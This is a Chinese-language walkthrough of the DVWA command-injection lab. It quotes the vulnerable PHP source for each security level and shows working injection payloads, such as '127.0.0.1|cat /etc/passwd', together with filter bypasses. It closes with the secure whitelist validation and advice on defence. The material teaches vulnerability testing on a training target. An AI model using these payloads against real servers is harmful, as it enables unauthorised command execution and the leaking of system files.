DVWA Command Injection 命令注入通关教程

漏洞简介

命令注入这玩意,简单说就是用户输入的东西被当成系统命令执行了。比如一个 ping 功能,输入 IP 就能 ping,但如果没过滤好,输入个 127.0.0.1;ls 就能把 ls 也执行了,这就叫命令注入。

这关主要就是学怎么利用这个漏洞拿到服务器信息。

常用连接符

先记几个常用的命令连接符:

连接符 作用
; Linux 专用,前后命令都执行
&& 前面的成功了才执行后面的
|| 前面的失败了才执行后面的
| 管道,前面输出给后面
& Linux 后台运行,Windows 也能当连接符用

Low 级别

看源码:

1
2
$target = $_REQUEST[ 'ip' ];
$cmd = shell_exec( 'ping -c 4 ' . $target );

用户输入直接拼进命令执行了,一点过滤都没有,想执行啥都行。

测试一下

输入 127.0.0.1;ls

1
2
3
4
5
6
PING 127.0.0.1 (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.023 ms
...
help
index.php
source

看到最后多出来几个文件名了吧,ls 命令执行成功了。

换个姿势,127.0.0.1&&whoami

1
2
...
www-data

当前用户是 www-data。

再看个狠的,127.0.0.1|cat /etc/passwd

1
2
3
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

直接把 passwd 文件读出来了。

还可以看看系统信息 127.0.0.1;uname -a

1
2
...
Linux 5aaff548a97b 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux

这信息泄露够多的。

Medium 级别

Medium 开始过滤了:

1
2
3
4
5
6
$substitutions = array(
'&&' => '',
';' => '',
);

$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

过滤了 &&;,但是漏了 |||& 这些。

绕过方法

|| 的话,前面的命令得失败才能执行后面的,所以可以这样:

1
127.0.0.1||ls

或者直接用管道符:

1
127.0.0.1|whoami

管道符最香,因为它只输出后面命令的结果,干净利落。

High 级别

High 级别过滤得更狠:

1
2
3
4
5
6
7
8
9
10
11
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);

看起来过滤了 | ||,但仔细看,| 过滤的是管道符加空格,也就是说管道符后面不带空格就没事。

绕过

直接用管道符不加空格:

1
127.0.0.1|ls

或者:

1
127.0.0.1|whoami

又绕过去了。这过滤写得还是不够严谨。

Impossible 级别

Impossible 级别是真正的安全写法:

1
2
3
4
5
6
7
8
$target = stripslashes( $target );
$octet = explode( ".", $target );

if( is_numeric( $octet[0] ) && is_numeric( $octet[1] ) && is_numeric( $octet[2] ) && is_numeric( $octet[3] )
&& ( $octet[0] < 256 ) && ( $octet[1] < 256 ) && ( $octet[2] < 256 ) && ( $octet[3] < 256 ) ) {
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 执行 ping
}

把输入按 . 分成四段,每段必须是数字而且要在 0-255 之间,这才能通过验证。这才是 IP 地址应该有的校验方式,从根本上杜绝了命令注入。

小结

命令注入危害挺大的,防护的话:

  1. 能不用系统命令就别用,语言自带函数能解决大部分问题
  2. 实在要用就得做好输入校验,用白名单
  3. escapeshellarg() 这类函数转义参数
  4. Web 服务尽量用低权限账户跑